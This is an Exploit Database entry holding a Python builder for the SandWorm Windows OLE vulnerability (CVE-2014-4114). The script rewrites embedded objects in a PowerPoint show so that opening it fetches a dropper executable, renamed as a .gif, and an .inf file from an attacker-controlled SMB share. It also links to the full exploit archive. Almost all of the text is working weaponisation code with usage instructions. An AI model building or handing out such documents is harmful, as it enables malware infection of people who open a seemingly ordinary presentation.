Microsoft Windows – OLE Package Manager SandWorm

Exploit Database
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作者： Vlad Ovtchinikov

日期： 2014-10-20
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/35019/

#!/usr/bin/env python

import os

import zipfile

import sys

'''

Full Exploit: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35019.tar.gz

Very quick and ugly [SandWorm CVE-2014-4114] exploit builder

Exploit Title: CVE-2014-4114 SandWorm builder

Built to run on: Linux/MacOSX

Date: 17/10/2014

Exploit Author: Vlad Ovtchinikov (@v1ad_o)

Vendor Homepage: microsoft.com

Tested on: Win7Sp1 64 bit- Microsoft Offcie 2013 Plus

Demo: http://youtu.be/ljjEkhflpvM

CVE : CVE-2014-4114

NOTE:

expl.inf (md5 8313034e9ab391df83f6a4f242ec5f8d) + expl.zip (md5 4a39121a60cc79d211fc7f7cfe00b707)

should be located in the samedir as the builder.

01:39 cve-2014-4114.py

19:35 expl.inf

15:37 expl.zip

e.g.python cve-2014-4114.py 10.0.0.233 rdb xxx.exe

10.0.0.233 - ip

rdb - share

xxx.exe - dropper

'''

host=sys.argv[1]

share=sys.argv[2]

mal_file=sys.argv[3]

print "\nPoC exploit builder v0.1 for logical OLE flaw in packager.dll [CVE-2014-4114] by vlad@sensepost.com @v1ad_o\n"

print "Building ... \n "

# extract the original .ppsx PoC

mal_file= mal_file.replace(' ', '')[:-4].lower()

fh = open('expl.zip', 'rb')

z = zipfile.ZipFile(fh)

for name in z.namelist():

outpath = "./tmp"

z.extract(name, outpath)

fh.close()

os.mkdir('out')

os.chdir('tmp')

# oleObject1.bin mod for GIF

infile = open('ppt/embeddings/oleObject1.bin')

outfile = open('ppt/embeddings/1.bin','w')

replacements = {'10.0.0.34':host,'public':share,'slide1.gif':mal_file+'.gif'}

for line in infile:

for src, target in replacements.iteritems():

line = line.replace(src, target)

outfile.write(line)

infile.close()

outfile.close()

os.remove ('ppt/embeddings/oleObject1.bin')

os.rename ('ppt/embeddings/1.bin','ppt/embeddings/oleObject1.bin')

# oleObject2.bin mod for INF

infile = open('ppt/embeddings/oleObject2.bin')

outfile = open('ppt/embeddings/2.bin','w')

replacements = {'10.0.0.34':host,'public':share,'slide1.inf':mal_file+'.inf'}

for line in infile:

for src, target in replacements.iteritems():

line = line.replace(src, target)

outfile.write(line)

infile.close()

outfile.close()

os.remove ('ppt/embeddings/oleObject2.bin')

os.rename ('ppt/embeddings/2.bin','ppt/embeddings/oleObject2.bin')

os.system("zip -q-9 -r../out/exploit.ppsx * ")

os.chdir('..')

# oleObject2.bin mod for INF prep

infile = open('expl.inf')

outfile = open('out/'+mal_file+'.inf','w')

replacements = {'slide1':mal_file}

for line in infile:

for src, target in replacements.iteritems():

line = line.replace(src, target)

outfile.write(line)

infile.close()

outfile.close()

os.system("rm -rf tmp")

print 'Copy the .inf .gif (renamed file.exe=>file.gif) to:\n'

print '*\\\\'+host +'\\'+ share +'\\'+ mal_file+'.gif\n'

print '*\\\\'+host +'\\'+ share +'\\'+ mal_file+'.inf\n'

print 'Done - collect your files from the [out] folder.\n'